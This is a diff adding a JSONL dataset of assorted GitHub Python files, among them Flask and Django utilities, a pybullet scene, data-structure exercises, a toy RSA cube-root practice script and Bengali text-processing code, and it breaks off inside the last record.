diff --git "a/6210.jsonl" "b/6210.jsonl" new file mode 100644--- /dev/null +++ "b/6210.jsonl" @@ -0,0 +1,1897 @@ +{"seq_id":"10680661944","text":"import subprocess\nfrom application import create_app\n#from livereload import Server\nfrom flask.cli import FlaskGroup\n\napp = create_app()\ncli = FlaskGroup(create_app=create_app)\n\n@cli.command()\ndef dev():\n subprocess.Popen([\"flask\", \"run\"])\n subprocess.run([\"npm\", \"run\", \"watch\"])\n\nif __name__ == '__main__':\n cli()\n # server = Server(app.wsgi_app)\n # server.serve()\n","repo_name":"danielkanangila/py-chat","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"32070395967","text":"import random\nimport hashlib\nimport zlib\nimport csv\nimport sys\nimport matplotlib.pyplot as plt\nimport os\n\nseed = 1\nrandom.seed(seed)\n\ndef bit_str_to_int_list(bit_str):\n #Does not check that all values are either 1 or 0\n return [int(bit_char) for bit_char in bit_str]\n \ndef get_weak_puf_bits(csv_file):\n bits = []\n \n reader = csv.DictReader(csv_file)\n for row in reader:\n bits.append(bit_str_to_int_list(row['bits']))\n return bits\n\ndef get_known_fingerprint(latent_fingerprints):\n \n if not latent_fingerprints or len(latent_fingerprints)==0:\n return []\n \n known_fp = [0 for _ in range(len(latent_fingerprints[0]))]\n \n # Element wise sum of latent fingerprints\n for fingerprint in latent_fingerprints:\n for pos in range(len(fingerprint)):\n known_fp[pos]+=fingerprint[pos]\n \n # Average by number of latent fingerprints and round.\n # Round function: > .5 -> 1 and <= .5 -> 0\n for pos in range(len(known_fp)):\n known_fp[pos] = int(round(known_fp[pos]/len(latent_fingerprints)))\n \n return known_fp\n \ndef compare_known_and_latent_fps(known_fingerprint, latent_fingerprints):\n \n hamming_dists = []\n for latent_fp in latent_fingerprints:\n hamming_dists.append(get_hamming_distance(known_fingerprint, latent_fp))\n \n return hamming_dists\n \ndef get_hamming_distance(fingerprint_a, fingerprint_b):\n \"\"\"Assuming input bit lists, returns hamming distance between the two\"\"\"\n \n # It might be more efficient to have the values stored as ints then just\n # count the bits after the XOR\n assert(len(fingerprint_a) == len(fingerprint_b))\n \n ham_dist = 0\n for bit_a, bit_b in zip(fingerprint_a, fingerprint_b):\n bit_dist = bit_a^bit_b\n if bit_dist > 1:\n print('Hamming distance bits must be binary.')\n sys.exit(1)\n ham_dist+=bit_dist\n \n return ham_dist\n \ndef get_data_filenames(type_str, default_val):\n # Get latent fingerprint of SRAM PUF with different variations\n data_dir = input(\"Enter data directory for {}-Hamming distance (Default: {}): \".format(type_str, default_val))\n if not data_dir:\n data_dir = default_val\n print('Using default data:', data_dir) \n if not os.path.isdir(data_dir):\n print('Directory ',data_dir,' not found. Exiting...')\n sys.exit(1)\n bare_fnames = os.listdir(data_dir)\n return [\"{}/{}\".format(data_dir, fname) for fname in bare_fnames]\n \ndef get_data_bits(data_file_names):\n bits = []\n for csv_fname in data_file_names:\n csv_data = open(csv_fname,newline='')\n bits.append(get_weak_puf_bits(csv_data))\n # Returns double list \n return bits\n \ndef get_hamming_info(data_file_names, known_fp):\n bits = get_data_bits(data_file_names)\n\n # Get Hamming distances from these devices\n average_hd = 0\n total = 0\n hdist_dict = {}\n max_hd = 0\n\n for latent_fps, csv_fname in zip(bits, data_file_names):\n hammings = compare_known_and_latent_fps(known_fp, latent_fps)\n print('Hamming Distances from', csv_fname,': ', hammings)\n average_hd+=sum(hammings)\n total+=len(hammings)\n max_hd = max(max_hd, max(hammings))\n \n # Add increment hamming distance counters\n for hd in hammings:\n if hd not in hdist_dict:\n hdist_dict[hd] = 0\n hdist_dict[hd]+=1\n average_hd/=total \n return average_hd, total, hdist_dict, max_hd \n \ndef plot_intra_inter_hamming(x_hdist, y_intra, y_inter): \n \n #plt.style.use('ggplot')\n\n plt.bar(x_hdist, y_inter, color='red')\n plt.bar(x_hdist, y_intra, color='blue')\n plt.xlabel(\"Hamming Distance\")\n plt.ylabel(\"Probability\")\n\n #plt.xticks(x_pos, x)\n\n plt.show() ","repo_name":"VLSIDA/puffery","sub_path":"scripts/weak_puf/weak_puf_util.py","file_name":"weak_puf_util.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"} +{"seq_id":"16283802788","text":"import os, inspect\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\nos.sys.path.insert(0, parentdir)\nimport pybullet_data\n\nfrom pybullet_envs.scene_abstract import Scene\nimport pybullet\n\n\nclass StadiumScene(Scene):\n zero_at_running_strip_start_line = True # if False, center of coordinates (0,0,0) will be at the middle of the stadium\n stadium_halflen = 105 * 0.25 # FOOBALL_FIELD_HALFLEN\n stadium_halfwidth = 50 * 0.25 # FOOBALL_FIELD_HALFWID\n stadiumLoaded = 0\n\n def episode_restart(self, bullet_client):\n self._p = bullet_client\n Scene.episode_restart(self, bullet_client) # contains cpp_world.clean_everything()\n if (self.stadiumLoaded == 0):\n self.stadiumLoaded = 1\n\n # stadium_pose = cpp_household.Pose()\n # if self.zero_at_running_strip_start_line:\n #\t stadium_pose.set_xyz(27, 21, 0) # see RUN_STARTLINE, RUN_RAD constants\n\n filename = os.path.join(pybullet_data.getDataPath(), \"plane_stadium.sdf\")\n self.ground_plane_mjcf = self._p.loadSDF(filename)\n #filename = os.path.join(pybullet_data.getDataPath(),\"stadium_no_collision.sdf\")\n #self.ground_plane_mjcf = self._p.loadSDF(filename)\n #\n for i in self.ground_plane_mjcf:\n self._p.changeDynamics(i, -1, lateralFriction=0.8, restitution=0.5)\n self._p.changeVisualShape(i, -1, rgbaColor=[1, 1, 1, 0.8])\n self._p.configureDebugVisualizer(pybullet.COV_ENABLE_PLANAR_REFLECTION,i)\n\n #\tfor j in range(p.getNumJoints(i)):\n #\t\tself._p.changeDynamics(i,j,lateralFriction=0)\n #despite the name (stadium_no_collision), it DID have collision, so don't add duplicate ground\n\n\nclass SinglePlayerStadiumScene(StadiumScene):\n \"This scene created by environment, to work in a way as if there was no concept of scene visible to user.\"\n multiplayer = False\n\n\nclass MultiplayerStadiumScene(StadiumScene):\n multiplayer = True\n players_count = 3\n\n def actor_introduce(self, robot):\n StadiumScene.actor_introduce(self, robot)\n i = robot.player_n - 1 # 0 1 2 => -1 0 +1\n robot.move_robot(0, i, 0)\n","repo_name":"bulletphysics/bullet3","sub_path":"examples/pybullet/gym/pybullet_envs/scene_stadium.py","file_name":"scene_stadium.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":11311,"dataset":"github-code","pt":"35"} +{"seq_id":"32040461683","text":"import os\nimport PRESUBMIT\nimport re\nimport unittest\n\n\nclass MockInputApi(object):\n def __init__(self):\n self.affected_files = []\n self.re = re\n self.os_path = os.path\n\n def AffectedFiles(self):\n return self.affected_files\n\n def AffectedTextFiles(self, include_deletes=True):\n return self.affected_files\n\n\nclass MockAffectedFile(object):\n def __init__(self, path):\n self.path = path\n\n def LocalPath(self):\n return self.path\n\n\nclass MockOutputApi(object):\n class PresubmitError(object):\n def __init__(self, msg, items=[], long_text=''):\n self.msg = msg\n self.items = items\n\n\nclass PresubmitUnittest(unittest.TestCase):\n def setUp(self):\n self.file_contents = ''\n def MockReadFile(path):\n self.failIf(path.endswith('notsource'))\n return self.file_contents\n self._ReadFile = PRESUBMIT.ReadFile\n PRESUBMIT.ReadFile = MockReadFile\n\n def tearDown(self):\n PRESUBMIT.ReadFile = self._ReadFile\n\n def testLocalChecks(self):\n api = MockInputApi()\n api.affected_files = [\n MockAffectedFile('foo/blat/yoo.notsource'),\n MockAffectedFile('third_party/blat/source.cc'),\n MockAffectedFile('foo/blat/source.h'),\n MockAffectedFile('foo/blat/source.mm'),\n MockAffectedFile('foo/blat/source.py'),\n ]\n self.file_contents = 'file with \\n\\terror\\nhere\\r\\nyes there'\n # 3 source files, 2 errors by file + 1 global CR error.\n self.failUnless(len(PRESUBMIT.LocalChecks(api, MockOutputApi)) == 7)\n\n self.file_contents = 'file\\twith\\ttabs'\n # 3 source files, 1 error by file.\n self.failUnless(len(PRESUBMIT.LocalChecks(api, MockOutputApi)) == 3)\n\n self.file_contents = 'file\\rusing\\rCRs'\n # One global CR error.\n self.failUnless(len(PRESUBMIT.LocalChecks(api, MockOutputApi)) == 1)\n self.failUnless(\n len(PRESUBMIT.LocalChecks(api, MockOutputApi)[0].items) == 3)\n\n self.file_contents = 'both\\ttabs and\\r\\nCRLF'\n # 3 source files, 1 error by file + 1 global CR error.\n self.failUnless(len(PRESUBMIT.LocalChecks(api, MockOutputApi)) == 4)\n\n self.file_contents = 'file with\\nzero \\\\t errors \\\\r\\\\n'\n self.failIf(PRESUBMIT.LocalChecks(api, MockOutputApi))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"rtbkit/rtbkit","sub_path":"googleurl/src/PRESUBMIT_unittest.py","file_name":"PRESUBMIT_unittest.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":1060,"dataset":"github-code","pt":"35"} +{"seq_id":"73710177382","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 17 20:32:28 2019\r\n\r\n@author: UNIP\r\n\"\"\"\r\nn = int (input ('Entre com o numero a qual deseja o fatorial: '))\r\nfat = 1\r\n\r\nfor n in range (n, 0, -1):\r\n fat = fat * n\r\n print(fat)","repo_name":"dilorenzoc/aulasPython","sub_path":"fatorialDecrescente.py","file_name":"fatorialDecrescente.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"44089307810","text":"# part 1\nquestion=[\"Which animal is known as the ‘Ship of the Desert?(1000)\",\"How many letters are there in the English alphabet?(2000)\",\"What do you call the person who brings a letter to your home from post office?(3000)\",\"How many consonants are there in the English alphabet? (5000)\",\"Which country is Delhi located in?(10,000)\"]\n\n# part 2\nfirst_option=[\"1.cat\",\"1.22\",\"1.postman\",\"1.57\",\"1.USA\"]\nsecond_option=[\"2.camel\",\"2.28\",\"2.police\",\"2.29\",\"2.India\"]\nthird_option=[\"3.cow\",\"3.26\",\"3.doctor\",\"3.32\",\"3.Switzerland\"]\nfourth_option=[\"4.bull\",\"4.29\",\"4.teacher\",\"4.22\",\"4.England\"]\n\n#part 3\nall_options=[first_option,second_option,third_option,fourth_option]\n\n#part 4\nans_key=[2,3,1,4,2]\n# part 1 \nfor i in range(len(question)):\n\tprint (question[i], len(question[i]))\n\tprint (first_option[i])\n\tprint (second_option[i])\n\tprint (third_option[i])\n\tprint (fourth_option[i])\n\tuser=int(input(\"Enter your answer \"))\t\n\tif user==ans_key[i]:\n\t\tprint (\"apka answer sahi hai \")\n\telse:\n\t\tprint (\"sadly apka answer wrong hai \")\n\t\tbreak\n# part 3\n# print (first_option[2])\n# print (second_option[2])\n# print (third_option[2])\n# print(fourth_option[2])\n\n# part 4\n\n# question.pop()\n# first_option.pop()\n# second_option.pop()\n# third_option.pop()\n# fourth_option.pop()\n# print (first_option)\n# print (second_option)\n# print (third_option)\n# print (fourth_option)\t\n# part 5\n\n\n# part 6\n\n# question.append(\"where is our campus? \")\n# first_option.append(\"Banlore\")\n# second_option.append(\"Sighapur\")\n# third_option.append(\"dharamsala\")\n# fourth_option.append(\"lucknow\")\n# print (len(question))\n\n# # part 7\n# option2=second_option[1]\n# print (option2)\n\n# # part 8\n# print (\" \")\n# if option2 in third_option:\n# \tprint (\"hai\")\n# else:\n# \tprint (\"nahi hai\")\n# # \n# for i in question:\n# \tprint ( i)\n# \tfor i in first_option:\n# \t\tprint ( i)\n# \tfor i in second_option:\n# \t\tprint ( i)\n# \tfor i in third_option:\n# \t\tprint ( i)\n# \tfor i in fourth_option:\n# \t\tprint ( i)","repo_name":"prince21298/KBC-game-_in_python","sub_path":"Kbc_in_python/kbc3.py","file_name":"kbc3.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"16292362368","text":"class Node():\n def __init__(self, value):\n self.value = value\n self.next = None\n self.prev = None\n\nclass Dll():\n def __init__(self): \n self.head = None\n self.tail = None\n self.len = 0\n \n def insert(self, value, index):\n if(index > self.len or index < 0):\n print('Not possible')\n return\n newNode = Node(value)\n # insert with no node inserted.\n if(not self.head):\n self.head = newNode\n self.tail = newNode\n\n # #insert at first position\n elif(index == 0):\n self.head.prev = newNode\n newNode.next = self.head\n self.head = newNode\n\n # insert at last position\n elif(index == self.len):\n newNode.prev = self.tail\n self.tail.next = newNode\n self.tail = newNode\n \n # insert in between\n else:\n temp = self.traverseTill(index)\n newNode.next = temp.next\n newNode.prev = temp\n temp.next.prev = newNode\n temp.next = newNode\n\n self.len += 1\n print('node inserted with value '+ str(newNode.value) + ' at index ' + str(index))\n \n def delete(self, index):\n if(index >= self.len or index < 0 or not self.head):\n print('Not possible')\n return\n temp = self.head\n\n # if only node left\n if(self.len == 1):\n self.head = None\n self.tail = None\n \n #for first node\n elif(index == 0):\n print('deleted node with value ' + str(self.head.value) + ' at index ' + str(index))\n self.head.next.prev = None\n self.head = self.head.next\n \n # for the last node\n elif(index == (self.len -1)):\n temp = self.traverseTill(index)\n temp.next = None\n self.tail = temp\n\n #for in between\n else:\n temp = self.traverseTill(index)\n print('deleted node with value ' + str(temp.next.value) + ' at index ' + str(index))\n temp.next.next.prev = temp\n temp.next = temp.next.next\n\n self.len -= 1\n \n def traverseTill(self, index):\n i = 0\n temp = self.head\n while(i < index - 1):\n i += 1\n temp = temp.next\n return temp\n\n def search(self, value):\n i = 0\n temp = self.head\n while (temp):\n if(temp.value == value):\n print('Found ' + str(value) + ' at index ' + str(i))\n return True\n i += 1\n temp = temp.next\n print(str(value) + ' not found')\n return False\n\n def print(self):\n temp = self.head\n print('\\ncurrent linked list')\n print('####################')\n while temp is not None:\n print(temp.value, end=' ')\n temp = temp.next\n if(self.head):\n print('\\nhead: ' + str(self.head.value))\n else:\n print('\\nhead: none')\n if(self.tail):\n print('tail: ' + str(self.tail.value))\n else:\n print('tail: none')\n print('length: ', self.len)\n print('####################\\n')\n\n def reverse(self):\n temp = self.head\n print('\\ncurrent linked list in reverse')\n print('################################')\n if(temp):\n while temp.next is not None:\n temp = temp.next\n else:\n print('\\nhead: none',end='')\n while temp is not None:\n print(temp.value, end=' ')\n temp = temp.prev\n print('\\nlength: ', self.len)\n print('################################\\n')\n \nif __name__=='__main__': \n ll = Dll()\n ll.insert(10,0)\n ll.insert(20,1)\n ll.insert(30,2)\n ll.insert(40,3)\n ll.insert(50,4)\n ll.insert(60,5)\n ll.print()\n ll.reverse()\n\n ll.delete(0)\n ll.print()\n ll.reverse()\n \n ll.delete(4)\n ll.print()\n ll.reverse()\n\n ll.delete(2)\n ll.print()\n ll.reverse()\n\n ll.delete(0)\n ll.print()\n ll.reverse()\n \n ll.delete(0)\n ll.print()\n ll.reverse()\n\n ll.delete(0)\n ll.print()\n ll.reverse()\n\n","repo_name":"rahulShaw3112/data-structures","sub_path":"linkedList/dll.py","file_name":"dll.py","file_ext":"py","file_size_in_byte":4252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27076311355","text":"\n\n\"\"\"\nif your e is low, and your message short, m^e will be lower than n, and you can just take the 'e'th root of m to get the deciphered message.\n\"\"\"\n\nn = 6865653949821276403125067\nc = 309717089812744704\ne = 3\n\nm = round(c ** (1/3))\n\nprint(m)\n\n\nprint(1/3)\nprint(15/3)\n\nletters = \"\"\nfor i in range(0, len(str(m)), 2):\n digits = str(m)[i:i+2]\n letter = chr(int(digits))\n letters += letter\n\nprint(letters)\n","repo_name":"GroteGnoom/codam_ft_ssl_rsa","sub_path":"practice/break_keys.py","file_name":"break_keys.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71083149540","text":"from anna_phog import anna_phog\nimport imageio\nimport matplotlib.pyplot as plt\n\n\nimage_path = \"image_0058.jpg\"\nS = 8\nangle = 360\nLevel = 3\nroi = [1,225,1,300]\nsave=True\n\nImage = imageio.imread(image_path)\np = anna_phog(Image, bin, angle, Level, roi)\nprint(\"P: \\n{}\".format(p))\nprint(len(p), type(p))\n","repo_name":"alexdurrm/PHOG","sub_path":"anna_phog_demo.py","file_name":"anna_phog_demo.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"5151003789","text":"\"\"\"empty message\n\nRevision ID: 65d62b661617\nRevises: 26c8f031f541\nCreate Date: 2023-01-17 17:02:01.173215\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '65d62b661617'\ndown_revision = '26c8f031f541'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('visita',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('nome_voluntario', sa.String(length=100), nullable=True),\n sa.Column('nome_asilo', sa.String(length=100), nullable=True),\n sa.Column('data', sa.Date(), nullable=True),\n sa.Column('hora', sa.Time(), nullable=True),\n sa.Column('motivo', sa.String(length=500), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('asilo',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('id_usuario', sa.Integer(), nullable=True),\n sa.Column('nome', sa.String(length=100), nullable=True),\n sa.Column('cep', sa.String(length=100), nullable=True),\n sa.Column('cnpj', sa.String(length=100), nullable=True),\n sa.ForeignKeyConstraint(['id_usuario'], ['usuario.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('voluntario',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('id_usuario', sa.Integer(), nullable=True),\n sa.Column('nome', sa.String(length=100), nullable=True),\n sa.Column('cpf_cnpj', sa.String(length=100), nullable=True),\n sa.ForeignKeyConstraint(['id_usuario'], ['usuario.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('voluntario')\n op.drop_table('asilo')\n op.drop_table('visita')\n # ### end Alembic commands ###\n","repo_name":"Ailton-F/RAV","sub_path":"migrations/versions/65d62b661617_.py","file_name":"65d62b661617_.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70196595300","text":"\ndef zhuanhuan():\n a = 1\n print(type(float(a)))\n\ndef jiehe():\n a = 1\n b = '哈哈'\n c = 3.14\n print('%s%s%s'%(a,b,c))\n b = '哈哈'\n\n\nif __name__ == '__main__':\n print('Good morning')\n zhuanhuan()\n jiehe()","repo_name":"lin23yucheng/myedu-1904","sub_path":"Day01/lianxi.py","file_name":"lianxi.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20304438188","text":"import logging\nimport math\nfrom datetime import date, datetime, time, timedelta\nfrom pathlib import Path\nfrom time import gmtime, strftime\nfrom typing import Optional\n\nimport numpy as np\nimport typer\n\nfrom ilids.cli.ffmpeg import scale_compress_select_sequence\nfrom ilids.cli.ffprobe import get_stream_info\n\ntyper_app = typer.Typer()\n\nlogger = logging.getLogger(__name__)\n\n\ndef _parse_output(input_video: Path, start: timedelta, output: Optional[Path]) -> Path:\n default_output_filename = f\"{input_video.stem}_{strftime('%H_%M_%S', gmtime(start.total_seconds()))}{input_video.suffix}\"\n\n if output is not None:\n if output.is_dir():\n return output / default_output_filename\n else:\n return output\n\n return input_video.parent / default_output_filename\n\n\ndef _get_fps(input_video: Path) -> float:\n logger.info(\"Read input video to get fps...\")\n info = get_stream_info(input_video)\n\n assert len(info.streams) == 1\n\n return info.streams[0].avg_fps\n\n\ndef _trivial_frame_selection(stride: int, total_frames: int):\n return list(range(0, total_frames, stride)) + (\n [] if (total_frames - 1) % stride == 0 else [total_frames - 1]\n )\n\n\n@typer_app.command()\ndef extract(\n input_video: Path,\n start_time: str,\n end_time: str,\n frame_stride: int,\n fps: Optional[float] = typer.Option(None, \"--fps\", \"-r\"),\n output: Optional[Path] = typer.Option(None, \"--output\", \"-o\"),\n overwrite: bool = typer.Option(False, \"--overwrite\", \"-y\"),\n) -> None:\n if not input_video.exists() or not input_video.is_file():\n raise ValueError(\"Expected a file as first argument\")\n\n assert frame_stride > 0\n\n start = datetime.combine(date.min, time.fromisoformat(start_time)) - datetime.min\n end = datetime.combine(date.min, time.fromisoformat(end_time)) - datetime.min\n\n assert start >= timedelta.min\n assert end > timedelta.min\n assert start < end\n\n total_seconds = (end - start).total_seconds()\n\n output = _parse_output(input_video, start, output)\n\n if not overwrite and output.exists():\n raise ValueError(f\"Use -y option to overwrite the existing {str(output)}\")\n\n fps = fps or _get_fps(input_video)\n assert fps is not None and fps > 0\n\n frames_sequence_to_extract_0_shifted = _trivial_frame_selection(\n frame_stride, math.ceil(total_seconds * fps)\n )\n frames_sequence_to_extract = (\n (np.array(frames_sequence_to_extract_0_shifted) + (start.total_seconds() * fps))\n .astype(int)\n .tolist()\n )\n\n returncode = scale_compress_select_sequence(\n input_video, output, frames_sequence_to_extract, math.ceil(fps), overwrite\n )\n\n assert returncode == 0, \"Issue while extract sequence from input video\"\n","repo_name":"schallerala/unifr-master-ilids-alarms","sub_path":"src/ilids/commands/videos/frames_extraction.py","file_name":"frames_extraction.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30983159874","text":"from flask import Flask, jsonify, request\nfrom src.convert import ConvertService\nfrom threading import Lock\n\n\n# Creating convert service\nconvert = ConvertService()\nconvert_lock = Lock()\n\n# Creating app instance\napp = Flask(__name__)\n\n\n# Convert context embedding builder\n@app.route(\"/context\", methods=[\"POST\", \"GET\"])\ndef context():\n try:\n dialogues = request.get_json(force=True)\n result = []\n\n with convert_lock:\n for dialogue in dialogues:\n result.append(convert.encode_context(dialogue).tolist())\n\n return jsonify({\n \"code\": 0,\n \"message\": \"ok\",\n \"data\": result\n })\n\n except Exception as ex:\n return jsonify({\n \"code\": 1,\n \"message\": \"Error: '{}'\".format(ex),\n \"data\": None\n })\n\n\n# Convert response embedding builder\n@app.route(\"/response\", methods=[\"POST\", \"GET\"])\ndef response():\n try:\n responses = request.get_json(force=True)\n with convert_lock:\n result = convert.encode_responses(responses).tolist()\n\n return jsonify({\n \"code\": 0,\n \"message\": \"ok\",\n \"data\": result\n })\n\n except Exception as ex:\n return jsonify({\n \"code\": 1,\n \"message\": \"Error: '{}'\".format(ex),\n \"data\": None\n })\n","repo_name":"Gaoadt/convert-as-a-service","sub_path":"src/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"73442222500","text":"import os\nfrom pathlib import Path\n\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\n\n\nclass Command(BaseCommand):\n help = 'Remove migrations and drop sqllite database'\n\n def handle(self, *args, **options):\n self.stdout.write('GET FRESH! Start over.')\n confirm = input(\n 'You are about to nuke your database. Proceed? (Y/n) '\n )\n while 1:\n if confirm not in ('Y', 'n', 'yes', 'no'):\n confirm = input('Please enter either \"yes\" or \"no\": ')\n continue\n if confirm in ('Y', 'yes'):\n break\n else:\n return\n\n base_path = Path(settings.BASE_DIR)\n\n sqllite_path = base_path / 'db.sqlite3'\n if sqllite_path.exists():\n sqllite_path.unlink()\n\n for file in base_path.rglob('migrations/*.py'):\n if file.name != '__init__.py':\n file.unlink()\n\n os.system('python manage.py makemigrations')\n os.system('python manage.py migrate')\n\n self.stdout.write('All done!')\n","repo_name":"Alex-Develepor/yamdb_final","sub_path":"api_yamdb/api/management/commands/resetdb.py","file_name":"resetdb.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74932730980","text":"import cv2 as cv\n\nimage1 = cv.imread(\"input1.jpg\")\nimg1 = cv.resize(image1, (256, 256))\ncv.imshow('image1', image1)\ncv.imshow('img1',img1)\n\nimage2 = cv.imread(\"input2.jpg\")\nimg2 = cv.resize(image2, (256, 256))\ncv.imshow('image2', image2)\ncv.imshow('img2', img2)\n\ndest_and = cv.bitwise_and(img1, img2, mask=None)\ndest_or = cv.bitwise_or(img1, img2, mask=None)\ndest_xor = cv.bitwise_xor(img1, img2, mask=None)\ndest_not1 = cv.bitwise_not(img1, mask=None)\ndest_not2 = cv.bitwise_not(img2, mask=None)\n\ncv.imshow('dest and', dest_and)\ncv.imshow('dest or', dest_or)\ncv.imshow('dest_xor', dest_xor)\ncv.imshow('dest not 1', dest_not1)\ncv.imshow('dest not 2', dest_not2)\n\ncv.waitKey(0)\ncv.destroyAllWindows()","repo_name":"bijenshresth/Image_Processing","sub_path":"Lab2/bitwise.py","file_name":"bitwise.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"75185291619","text":"# Set up libraries\nimport numpy as np\nimport pandas as pd\nimport re\nfrom collections import defaultdict\nimport requests\nimport time\nimport json\nimport sys\n\n\n\ndef get_graphemes(text):\n time.sleep(.5)\n norm_url = \"http://dev.revesoft.com/normalisation-0.0.1/normalisation?input=\"+text\n response = requests.post(norm_url)\n #print('response: ',response.text)\n text_list = json.loads(response.text)\n \n token_list = [item['token'].strip() for item in text_list if item['tokenType'] == \"self\"]\n return token_list\n\ndef char_normalise(chars):\n chars = chars.replace(chr(2437)+chr(2494),chr(2438)) # অ + া = আ\n chars = chars.replace(chr(2503)+chr(2494),chr(2507)) # ে + া = ো\n chars = chars.replace(chr(2503)+chr(2519),chr(2508)) # ে + ৗ = ৌ\n chars = chars.replace(chr(2476)+chr(2492),chr(2480)) # ব\t+\t়\t=\tর\n chars = chars.replace(chr(2465)+chr(2492),chr(2524)) # ড\t+\t়\t=\tড়\n chars = chars.replace(chr(2466)+chr(2492),chr(2525)) # ঢ\t+\t়\t=\tঢ়\n chars = chars.replace(chr(2479)+chr(2492),chr(2527)) # য\t+\t়\t=\tয়\n chars = chars.replace(chr(8204),'') #zero width non-joiner = ''\n chars = chars.replace(chr(8205),'') # zero width joiner = ''\n chars = chars.strip()\n return chars\n\ndef add_to_dict(clus_dict,clus_list,freq):\n for cluster in clus_list:\n if cluster in clus_dict:\n clus_dict[cluster] += freq\n else:\n clus_dict[cluster] = freq\n\ndef get_first_cluster(sentence,cluster_dict,freq):\n #print(sentence)\n full = \"[ক-হড়-���]্[ক-হড়-য়]\"\n partial = \"্[ক-হড়-য়]\"\n if bool(re.search(\"^\"+full+partial+partial+partial,sentence)):\n cluster_list = re.findall(\"^\"+full+partial+partial+partial, sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n #print(cluster_list)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n #print(sentence)\n elif bool(re.search(\"^\"+full+partial+partial,sentence)): \n cluster_list = re.findall(\"^\"+full+partial+partial, sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n \n elif bool(re.search(\"^\"+full+partial,sentence)): \n cluster_list = re.findall(\"^\"+full+partial, sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n #print(cluster_list)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n #print(sentence)\n elif bool(re.search(\"^\"+full,sentence)):\n cluster_list = re.findall(\"^\"+full, sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n #print(cluster_list)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n \n return sentence,cluster_dict\n\n#internal_cluster function definition\ndef get_internal_cluster(sentence,cluster_dict,freq):\n #print(sentence)\n full = \"[ক-হড়-য়]্[ক-হড়-য়]\"\n partial = \"্[ক-হড়-য়]\"\n if bool(re.search(full+partial+partial+partial,sentence)):\n cluster_list = re.findall(full+partial+partial+partial, sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n #print(cluster_list)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n #print(sentence)\n elif bool(re.search(full+partial+partial,sentence)): \n cluster_list = re.findall(full+partial+partial, sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n \n elif bool(re.search(full+partial,sentence)): \n cluster_list = re.findall(full+partial, sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n #print(cluster_list)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n #print(sentence)\n elif bool(re.search(full,sentence)):\n cluster_list = re.findall(full, sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n #print(cluster_list)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n \n return sentence,cluster_dict\n\n#final_cluster function definition\ndef get_last_cluster(sentence,cluster_dict,freq):\n \n full = \"[ক-হড়-য়]্[ক-হড়-য়]\"\n partial = \"্[ক-হড়-য়]\"\n remove_list = ['া','ি','ী','ু','ূ','ৃ','ে','র','ৈ','ো','ৌ','য়']\n \n if sentence.endswith('ের'):\n sentence = sentence[:-2]\n elif 